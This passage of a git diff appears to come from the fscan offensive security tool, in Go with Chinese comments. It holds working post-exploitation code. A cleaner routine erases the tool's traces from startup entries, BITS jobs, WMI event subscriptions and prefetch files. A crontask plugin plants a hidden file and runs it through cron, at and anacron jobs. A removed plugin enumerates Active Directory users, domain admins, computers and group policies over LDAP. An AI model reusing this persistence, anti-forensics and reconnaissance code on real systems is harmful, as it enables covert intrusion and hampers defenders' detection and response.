os.Remove(f) == nil { + output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n") + cleaned++ + } + } + } + return cleaned +} + +func cleanBITS(output *strings.Builder) int { + cleaned := 0 + out, err := exec.Command("bitsadmin", "/list", "/allusers").CombinedOutput() + if err != nil { + return 0 + } + for _, line := range strings.Split(string(out), "\n") { + if strings.Contains(line, "WindowsUpdate_") || strings.Contains(line, "fscan") { + // 提取 GUID + if idx := strings.Index(line, "{"); idx != -1 { + if end := strings.Index(line[idx:], "}"); end != -1 { + guid := line[idx : idx+end+1] + exec.Command("bitsadmin", "/cancel", guid).Run() + output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") + cleaned++ + } + } + } + } + return cleaned +} + +func cleanWMI(output *strings.Builder) int { + cleaned := 0 + ps := ` +Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Consumer -match 'SysExec_' -or $_.Consumer -match 'fscan' } | Remove-WmiObject +Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -match 'SysExec_' -or $_.Name -match 'fscan' } | Remove-WmiObject +Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -match 'SysMon_' -or $_.Name -match 'fscan' } | Remove-WmiObject +Write-Output 'WMI_CLEANED' +` + out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() + if err == nil && strings.Contains(string(out), "WMI_CLEANED") { + output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n") + cleaned++ + } + return cleaned +} + +func cleanPrefetch(output *strings.Builder) int { + cleaned := 0 + matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`) + for _, f := range matches { + if os.Remove(f) == nil { + output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n") + cleaned++ + } + } + return cleaned +} + +func extractRegValue(output string) string { + for _, line := range strings.Split(output, "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "REG_SZ") { + parts := strings.SplitN(line, "REG_SZ", 2) + if len(parts) == 2 { + return strings.TrimSpace(parts[1]) + } + } + } + return "" +} diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go index eaf84cd..85001f2 100644 --- a/plugins/local/crontask.go +++ b/plugins/local/crontask.go @@ -42,8 +42,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if runtime.GOOS != "linux" { return &plugins.Result{ Success: false, - Output: "计划任务持久化只支持Linux平台", - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Output: i18n.GetText("crontask_linux_only"), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } @@ -52,8 +52,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if p.targetFile == "" { return &plugins.Result{ Success: false, - Output: "必须通过 -persistence-file 参数指定目标文件路径", - Error: fmt.Errorf("未指定目标文件"), + Output: i18n.GetText("persistence_file_required"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } @@ -61,7 +61,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { return &plugins.Result{ Success: false, - Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile), + Output: i18n.Tr("target_file_not_exist", p.targetFile), Error: err, } } @@ -70,66 +70,66 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio if _, err := exec.LookPath("crontab"); err != nil { return &plugins.Result{ Success: false, - Output: "crontab命令不可用", + Output: i18n.GetText("crontab_unavailable"), Error: err, } } - output.WriteString("=== 计划任务持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n\n", p.targetFile)) + output.WriteString(i18n.GetText("crontask_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n") var successCount int // 1. 复制文件到持久化目录 persistPath, err := p.copyToPersistPath() if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", persistPath)) + output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n") successCount++ } // 2. 添加用户crontab任务 err = p.addUserCronJob(persistPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加用户cron任务失败: %v\n", err)) + output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加用户crontab任务\n") + output.WriteString(i18n.GetText("crontask_user_added") + "\n") successCount++ } // 3. 添加系统cron任务 systemCronFiles, err := p.addSystemCronJobs(persistPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加系统cron任务失败: %v\n", err)) + output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", "))) + output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n") successCount++ } // 4. 创建at任务 err = p.addAtJob(persistPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加at任务失败: %v\n", err)) + output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加at延时任务\n") + output.WriteString(i18n.GetText("crontask_at_added") + "\n") successCount++ } // 5. 创建anacron任务 err = p.addAnacronJob(persistPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加anacron任务失败: %v\n", err)) + output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加anacron任务\n") + output.WriteString(i18n.GetText("crontask_anacron_added") + "\n") successCount++ } // 输出统计 - output.WriteString(fmt.Sprintf("\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("crontask_success", successCount)) + session.LogSuccess(i18n.Tr("crontask_success", successCount)) } return &plugins.Result{ @@ -166,7 +166,7 @@ func (p *CronTaskPlugin) copyToPersistPath() (string, error) { } if targetDir == "" { - return "", fmt.Errorf("无法创建持久化目录") + return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed")) } // 生成隐藏文件名 @@ -258,7 +258,7 @@ func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { } if len(modified) == 0 { - return nil, fmt.Errorf("无法创建任何系统cron任务") + return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none")) } return modified, nil diff --git a/plugins/local/dcinfo.go b/plugins/local/dcinfo.go deleted file mode 100644 index 6161f0d..0000000 --- a/plugins/local/dcinfo.go +++ /dev/null @@ -1,829 +0,0 @@ -//go:build (plugin_dcinfo || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "errors" - "fmt" - "net" - "os/exec" - "strings" - - "github.com/go-ldap/ldap/v3" - "github.com/go-ldap/ldap/v3/gssapi" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// DCInfoPlugin 域控信息收集插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现域信息收集功能 -// - 保持原有功能逻辑 -type DCInfoPlugin struct { - plugins.BasePlugin -} - -// DomainInfo 域信息结构 -type DomainInfo struct { - Domain string - BaseDN string - LDAPConn *ldap.Conn -} - -// NewDCInfoPlugin 创建域控信息收集插件 -func NewDCInfoPlugin() *DCInfoPlugin { - return &DCInfoPlugin{ - BasePlugin: plugins.NewBasePlugin("dcinfo"), - } -} - -// Scan 执行域控信息收集 - 直接实现 -func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - _ = session.Config - _ = session.State - var output strings.Builder - - output.WriteString("=== 域控制器信息收集 ===\n") - - // 建立域控连接 - domainConn, err := p.connectToDomain() - if err != nil { - if common.ContainsAny(err.Error(), "未加入域", "WORKGROUP") { - msg := i18n.GetText("dcinfo_not_joined") - output.WriteString(msg + ",无法执行域信息收集\n") - common.LogError(msg) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: errors.New(msg), - } - } - output.WriteString(fmt.Sprintf("域控连接失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("域控连接失败: %w", err), - } - } - defer func() { - if domainConn.LDAPConn != nil { - _ = domainConn.LDAPConn.Close() - } - }() - - output.WriteString(fmt.Sprintf("成功连接到域: %s\n", domainConn.Domain)) - output.WriteString(fmt.Sprintf("Base DN: %s\n\n", domainConn.BaseDN)) - - var successCount int - - // 收集域基本信息 - if domainInfo, err := p.getDomainInfo(domainConn); err == nil { - output.WriteString("✓ 域基本信息:\n") - p.logDomainInfoToOutput(&output, domainInfo) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取域基本信息失败: %v\n", err)) - } - - // 获取域控制器信息 - if domainControllers, err := p.getDomainControllers(domainConn); err == nil { - output.WriteString("✓ 域控制器信息:\n") - p.logDomainControllersToOutput(&output, domainControllers) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取域控制器信息失败: %v\n", err)) - } - - // 获取域用户信息 - if users, err := p.getDomainUsersDetailed(domainConn); err == nil { - output.WriteString("✓ 域用户信息:\n") - p.logDomainUsersToOutput(&output, users) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取域用户失败: %v\n", err)) - } - - // 获取域管理员信息 - if admins, err := p.getDomainAdminsDetailed(domainConn); err == nil { - output.WriteString("✓ 域管理员信息:\n") - p.logDomainAdminsToOutput(&output, admins) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取域管理员失败: %v\n", err)) - } - - // 获取域计算机信息 - if computers, err := p.getComputersDetailed(domainConn); err == nil { - output.WriteString("✓ 域计算机信息:\n") - p.logComputersToOutput(&output, computers) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取域计算机失败: %v\n", err)) - } - - // 获取组策略信息 - if gpos, err := p.getGroupPolicies(domainConn); err == nil { - output.WriteString("✓ 组策略信息:\n") - p.logGroupPoliciesToOutput(&output, gpos) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取组策略失败: %v\n", err)) - } - - // 获取组织单位信息 - if ous, err := p.getOrganizationalUnits(domainConn); err == nil { - output.WriteString("✓ 组织单位信息:\n") - p.logOrganizationalUnitsToOutput(&output, ous) - successCount++ - } else { - output.WriteString(fmt.Sprintf("✗ 获取组织单位失败: %v\n", err)) - } - - // 输出统计 - output.WriteString(fmt.Sprintf("\n域信息收集完成: 成功(%d) 总计(%d)\n", successCount, 7)) - - if successCount > 0 { - common.LogSuccess(i18n.Tr("dcinfo_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// connectToDomain 连接到域控制器 -func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) { - // 获取域控制器地址 - dcHost, domain, err := p.getDomainController() - if err != nil { - return nil, fmt.Errorf("获取域控制器失败: %w", err) - } - - // 建立LDAP连接 - ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain) - if err != nil { - return nil, fmt.Errorf("LDAP连接失败: %w", err) - } - - return &DomainInfo{ - Domain: domain, - BaseDN: baseDN, - LDAPConn: ldapConn, - }, nil -} - -// getDomainController 获取域控制器地址 -func (p *DCInfoPlugin) getDomainController() (string, string, error) { - // 尝试使用PowerShell获取域名 - domain, err := p.getDomainNamePowerShell() - if err != nil { - // 尝试使用wmic - domain, err = p.getDomainNameWmic() - if err != nil { - // 尝试使用环境变量 - domain, err = p.getDomainNameFromEnv() - if err != nil { - return "", "", fmt.Errorf("获取域名失败: %w", err) - } - } - } - - if domain == "" || domain == "WORKGROUP" { - return "", "", fmt.Errorf("当前机器未加入域") - } - - // 查询域控制器 - dcHost, err := p.findDomainController(domain) - if err != nil { - // 备选方案:使用域名直接构造 - dcHost = fmt.Sprintf("dc.%s", domain) - } - - return dcHost, domain, nil -} - -// getDomainNamePowerShell 使用PowerShell获取域名 -func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) { - cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain") - output, err := cmd.Output() - if err != nil { - return "", err - } - - domain := strings.TrimSpace(string(output)) - if domain == "" || domain == "WORKGROUP" { - return "", fmt.Errorf("未加入域") - } - - return domain, nil -} - -// getDomainNameWmic 使用wmic获取域名 -func (p *DCInfoPlugin) getDomainNameWmic() (string, error) { - cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value") - output, err := cmd.Output() - if err != nil { - return "", err - } - - lines := strings.Split(string(output), "\n") - for _, line := range lines { - if strings.HasPrefix(line, "Domain=") { - domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) - if domain != "" && domain != "WORKGROUP" { - return domain, nil - } - } - } - - return "", fmt.Errorf("未找到域名") -} - -// getDomainNameFromEnv 从环境变量获取域名 -func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) { - cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%") - output, err := cmd.Output() - if err != nil { - return "", err - } - - userDomain := strings.ToLower(strings.TrimSpace(string(output))) - if userDomain != "" && userDomain != "workgroup" && userDomain != "%userdomain%" { - return userDomain, nil - } - - return "", fmt.Errorf("从环境变量获取域名失败") -} - -// findDomainController 查找域控制器 -func (p *DCInfoPlugin) findDomainController(domain string) (string, error) { - // 使用nslookup查询SRV记录 - cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) - output, err := cmd.Output() - if err == nil { - lines := strings.Split(string(output), "\n") - for _, line := range lines { - if common.ContainsAny(line, "svr hostname", "service") { - parts := strings.Split(line, "=") - if len(parts) > 1 { - dcHost := strings.TrimSpace(parts[len(parts)-1]) - dcHost = strings.TrimSuffix(dcHost, ".") - if dcHost != "" { - return dcHost, nil - } - } - } - } - } - - // 尝试直接ping域名 - cmd = exec.Command("ping", "-n", "1", domain) - if err := cmd.Run(); err == nil { - return domain, nil - } - - return "", fmt.Errorf("无法找到域控制器") -} - -// connectToLDAP 连接到LDAP服务器 -func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { - // 创建SSPI客户端 - ldapClient, err := gssapi.NewSSPIClient() - if err != nil { - return nil, "", fmt.Errorf("创建SSPI客户端失败: %w", err) - } - defer func() { _ = ldapClient.Close() }() - - // 尝试连接 - var conn *ldap.Conn - var lastError error - - // 直接连接 - conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) - if err != nil { - lastError = err - // 尝试使用IPv4地址 - ipv4, resolveErr := p.resolveIPv4(dcHost) - if resolveErr == nil { - conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) - if err != nil { - lastError = err - } - } else { - lastError = resolveErr - } - } - - if conn == nil { - return nil, "", fmt.Errorf("LDAP连接失败: %w", lastError) - } - - // 使用GSSAPI进行绑定 - err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") - if err != nil { - _ = conn.Close() - return nil, "", fmt.Errorf("GSSAPI绑定失败: %w", err) - } - - // 获取BaseDN - baseDN, err := p.getBaseDN(conn, domain) - if err != nil { - _ = conn.Close() - return nil, "", err - } - - return conn, baseDN, nil -} - -// getBaseDN 获取BaseDN -func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { - searchRequest := ldap.NewSearchRequest( - "", - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"defaultNamingContext"}, - nil, - ) - - result, err := conn.Search(searchRequest) - if err != nil { - return "", fmt.Errorf("获取defaultNamingContext失败: %w", err) - } - - if len(result.Entries) == 0 { - // 备选方案:从域名构造BaseDN - parts := strings.Split(domain, ".") - var dn []string - for _, part := range parts { - dn = append(dn, fmt.Sprintf("DC=%s", part)) - } - return strings.Join(dn, ","), nil - } - - baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") - if baseDN == "" { - return "", fmt.Errorf("获取BaseDN失败") - } - - return baseDN, nil -} - -// resolveIPv4 解析主机名为IPv4地址 -func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) { - ips, err := net.LookupIP(hostname) - if err != nil { - return "", err - } - - for _, ip := range ips { - if ip.To4() != nil { - return ip.String(), nil - } - } - - return "", fmt.Errorf("未找到IPv4地址") -} - -// getDomainInfo 获取域基本信息 -func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"whenCreated", "whenChanged", "objectSid", "msDS-Behavior-Version", "dnsRoot"}, - nil, - ) - - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - return nil, err - } - - domainInfo := make(map[string]interface{}) - domainInfo["domain"] = conn.Domain - domainInfo["base_dn"] = conn.BaseDN - - if len(sr.Entries) > 0 { - entry := sr.Entries[0] - domainInfo["created"] = entry.GetAttributeValue("whenCreated") - domainInfo["modified"] = entry.GetAttributeValue("whenChanged") - domainInfo["object_sid"] = entry.GetAttributeValue("objectSid") - domainInfo["functional_level"] = entry.GetAttributeValue("msDS-Behavior-Version") - domainInfo["dns_root"] = entry.GetAttributeValue("dnsRoot") - } - - return domainInfo, nil -} - -// getDomainControllers 获取域控制器信息 -func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) { - dcQuery := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", - []string{"cn", "dNSHostName", "operatingSystem", "operatingSystemVersion", "operatingSystemServicePack", "whenCreated", "lastLogonTimestamp"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000) - if err != nil { - return nil, err - } - - var dcs []map[string]interface{} - for _, entry := range sr.Entries { - dc := make(map[string]interface{}) - dc["name"] = entry.GetAttributeValue("cn") - dc["dns_name"] = entry.GetAttributeValue("dNSHostName") - dc["os"] = entry.GetAttributeValue("operatingSystem") - dc["os_version"] = entry.GetAttributeValue("operatingSystemVersion") - dc["os_service_pack"] = entry.GetAttributeValue("operatingSystemServicePack") - dc["created"] = entry.GetAttributeValue("whenCreated") - dc["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - dcs = append(dcs, dc) - } - - return dcs, nil -} - -// getDomainUsersDetailed 获取域用户信息 -func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectCategory=person)(objectClass=user))", - []string{"sAMAccountName", "displayName", "mail", "userAccountControl", "whenCreated", "lastLogonTimestamp", "badPwdCount", "pwdLastSet"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) - if err != nil { - return nil, err - } - - var users []map[string]interface{} - for _, entry := range sr.Entries { - user := make(map[string]interface{}) - user["username"] = entry.GetAttributeValue("sAMAccountName") - user["display_name"] = entry.GetAttributeValue("displayName") - user["email"] = entry.GetAttributeValue("mail") - user["account_control"] = entry.GetAttributeValue("userAccountControl") - user["created"] = entry.GetAttributeValue("whenCreated") - user["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - user["bad_pwd_count"] = entry.GetAttributeValue("badPwdCount") - user["pwd_last_set"] = entry.GetAttributeValue("pwdLastSet") - users = append(users, user) - } - - return users, nil -} - -// getDomainAdminsDetailed 获取域管理员信息 -func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - // 获取Domain Admins组 - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectCategory=group)(cn=Domain Admins))", - []string{"member"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000) - if err != nil { - return nil, err - } - - var admins []map[string]interface{} - if len(sr.Entries) > 0 { - members := sr.Entries[0].GetAttributeValues("member") - for _, memberDN := range members { - adminInfo, err := p.getUserInfoByDN(conn, memberDN) - if err == nil { - admins = append(admins, adminInfo) - } - } - } - - return admins, nil -} - -// getComputersDetailed 获取域计算机信息 -func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", - []string{"cn", "operatingSystem", "operatingSystemVersion", "dNSHostName", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) - if err != nil { - return nil, err - } - - var computers []map[string]interface{} - for _, entry := range sr.Entries { - computer := make(map[string]interface{}) - computer["name"] = entry.GetAttributeValue("cn") - computer["os"] = entry.GetAttributeValue("operatingSystem") - computer["os_version"] = entry.GetAttributeValue("operatingSystemVersion") - computer["dns_name"] = entry.GetAttributeValue("dNSHostName") - computer["created"] = entry.GetAttributeValue("whenCreated") - computer["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - computer["account_control"] = entry.GetAttributeValue("userAccountControl") - computers = append(computers, computer) - } - - return computers, nil -} - -// getUserInfoByDN 根据DN获取用户信息 -func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - userDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"sAMAccountName", "displayName", "mail", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, - nil, - ) - - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - return nil, err - } - - if len(sr.Entries) == 0 { - return nil, fmt.Errorf("用户不存在") - } - - entry := sr.Entries[0] - userInfo := make(map[string]interface{}) - userInfo["dn"] = userDN - userInfo["username"] = entry.GetAttributeValue("sAMAccountName") - userInfo["display_name"] = entry.GetAttributeValue("displayName") - userInfo["email"] = entry.GetAttributeValue("mail") - userInfo["created"] = entry.GetAttributeValue("whenCreated") - userInfo["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - userInfo["group_type"] = "Domain Admins" - - return userInfo, nil -} - -// getGroupPolicies 获取组策略信息 -func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=groupPolicyContainer)", - []string{"cn", "displayName", "objectClass", "distinguishedName", "whenCreated", "whenChanged", "gPCFileSysPath"}, - nil, - ) - - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - sr, err = conn.LDAPConn.SearchWithPaging(searchRequest, 1000) - if err != nil { - return nil, err - } - } - - var gpos []map[string]interface{} - for _, entry := range sr.Entries { - gpo := make(map[string]interface{}) - gpo["guid"] = entry.GetAttributeValue("cn") - gpo["display_name"] = entry.GetAttributeValue("displayName") - gpo["created"] = entry.GetAttributeValue("whenCreated") - gpo["modified"] = entry.GetAttributeValue("whenChanged") - gpo["file_sys_path"] = entry.GetAttributeValue("gPCFileSysPath") - gpo["dn"] = entry.GetAttributeValue("distinguishedName") - gpos = append(gpos, gpo) - } - - return gpos, nil -} - -// getOrganizationalUnits 获取组织单位信息 -func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"ou", "cn", "name", "description", "objectClass", "distinguishedName", "whenCreated", "gPLink"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 100) - if err != nil { - return nil, err - } - - var ous []map[string]interface{} - for _, entry := range sr.Entries { - objectClasses := entry.GetAttributeValues("objectClass") - dn := entry.GetAttributeValue("distinguishedName") - - isOU := false - isContainer := false - for _, class := range objectClasses { - switch class { - case "organizationalUnit": - isOU = true - case "container": - isContainer = true - } - } - - if !isOU && !isContainer { - continue - } - - // 获取名称 - name := entry.GetAttributeValue("ou") - if name == "" { - name = entry.GetAttributeValue("cn") - } - if name == "" { - name = entry.GetAttributeValue("name") - } - - // 跳过系统容器 - if strings.Contains(dn, "CN=LostAndFound") || - strings.Contains(dn, "CN=Configuration") || - strings.Contains(dn, "CN=Schema") || - strings.Contains(dn, "CN=System") || - strings.Contains(dn, "CN=Program Data") || - strings.Contains(dn, "CN=Microsoft") || - (strings.HasPrefix(dn, "CN=") && len(name) == 36 && strings.Count(name, "-") == 4) { - continue - } - - if name != "" { - ou := make(map[string]interface{}) - ou["name"] = name - ou["description"] = entry.GetAttributeValue("description") - ou["created"] = entry.GetAttributeValue("whenCreated") - ou["gp_link"] = entry.GetAttributeValue("gPLink") - ou["dn"] = dn - ou["is_ou"] = isOU - ous = append(ous, ou) - } - } - - return ous, nil -} - -// 输出日志函数 -func (p *DCInfoPlugin) logDomainInfoToOutput(output *strings.Builder, domainInfo map[string]interface{}) { - if domain, ok := domainInfo["domain"]; ok { - _, _ = fmt.Fprintf(output, " 域名: %v\n", domain) - } - if created, ok := domainInfo["created"]; ok && created != "" { - _, _ = fmt.Fprintf(output, " 创建时间: %v\n", created) - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logDomainControllersToOutput(output *strings.Builder, dcs []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 个域控制器\n", len(dcs)) - for _, dc := range dcs { - if name, ok := dc["name"]; ok { - _, _ = fmt.Fprintf(output, " - %v (%v)\n", name, dc["dns_name"]) - if os, ok := dc["os"]; ok && os != "" { - _, _ = fmt.Fprintf(output, " 操作系统: %v\n", os) - } - } - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logDomainUsersToOutput(output *strings.Builder, users []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 个域用户\n", len(users)) - count := 0 - for _, user := range users { - if count >= 10 { // 限制显示数量 - output.WriteString(" ...(更多用户已省略)\n") - break - } - if username, ok := user["username"]; ok && username != "" { - displayInfo := fmt.Sprintf(" - %v", username) - if displayName, ok := user["display_name"]; ok && displayName != "" { - displayInfo += fmt.Sprintf(" (%v)", displayName) - } - if email, ok := user["email"]; ok && email != "" { - displayInfo += fmt.Sprintf(" [%v]", email) - } - output.WriteString(displayInfo + "\n") - count++ - } - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logDomainAdminsToOutput(output *strings.Builder, admins []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 个域管理员\n", len(admins)) - for _, admin := range admins { - if username, ok := admin["username"]; ok && username != "" { - adminInfo := fmt.Sprintf(" - %v", username) - if displayName, ok := admin["display_name"]; ok && displayName != "" { - adminInfo += fmt.Sprintf(" (%v)", displayName) - } - if email, ok := admin["email"]; ok && email != "" { - adminInfo += fmt.Sprintf(" [%v]", email) - } - output.WriteString(adminInfo + "\n") - } - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logComputersToOutput(output *strings.Builder, computers []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 台域计算机\n", len(computers)) - count := 0 - for _, computer := range computers { - if count >= 10 { // 限制显示数量 - output.WriteString(" ...(更多计算机已省略)\n") - break - } - if name, ok := computer["name"]; ok && name != "" { - computerInfo := fmt.Sprintf(" - %v", name) - if os, ok := computer["os"]; ok && os != "" { - computerInfo += fmt.Sprintf(" (%v)", os) - } - if dnsName, ok := computer["dns_name"]; ok && dnsName != "" { - computerInfo += fmt.Sprintf(" [%v]", dnsName) - } - output.WriteString(computerInfo + "\n") - count++ - } - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logGroupPoliciesToOutput(output *strings.Builder, gpos []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 个组策略对象\n", len(gpos)) - for _, gpo := range gpos { - if displayName, ok := gpo["display_name"]; ok && displayName != "" { - gpoInfo := fmt.Sprintf(" - %v", displayName) - if guid, ok := gpo["guid"]; ok { - gpoInfo += fmt.Sprintf(" [%v]", guid) - } - output.WriteString(gpoInfo + "\n") - } - } - output.WriteString("\n") -} - -func (p *DCInfoPlugin) logOrganizationalUnitsToOutput(output *strings.Builder, ous []map[string]interface{}) { - _, _ = fmt.Fprintf(output, " 发现 %d 个组织单位和容器\n", len(ous)) - for _, ou := range ous { - if name, ok := ou["name"]; ok && name != "" { - ouInfo := fmt.Sprintf(" - %v", name) - if isOU, ok := ou["is_ou"]; ok { - if isOUBool, ok := isOU.(bool); ok && isOUBool { - ouInfo += " [OU]" - } else { - ouInfo += " [Container]" - } - } else { - ouInfo += " [Container]" - } - if desc, ok := ou["description"]; ok && desc != "" { - ouInfo += fmt.Sprintf(" 描述: %v", desc) - } - output.WriteString(ouInfo + "\n") - } - } - output.WriteString("\n") -} - -// 注册插件 -func init() { - RegisterLocalPlugin("dcinfo", func() Plugin { - return NewDCInfoPlugin() - }) -} diff --git a/plugins/local/downloader.go 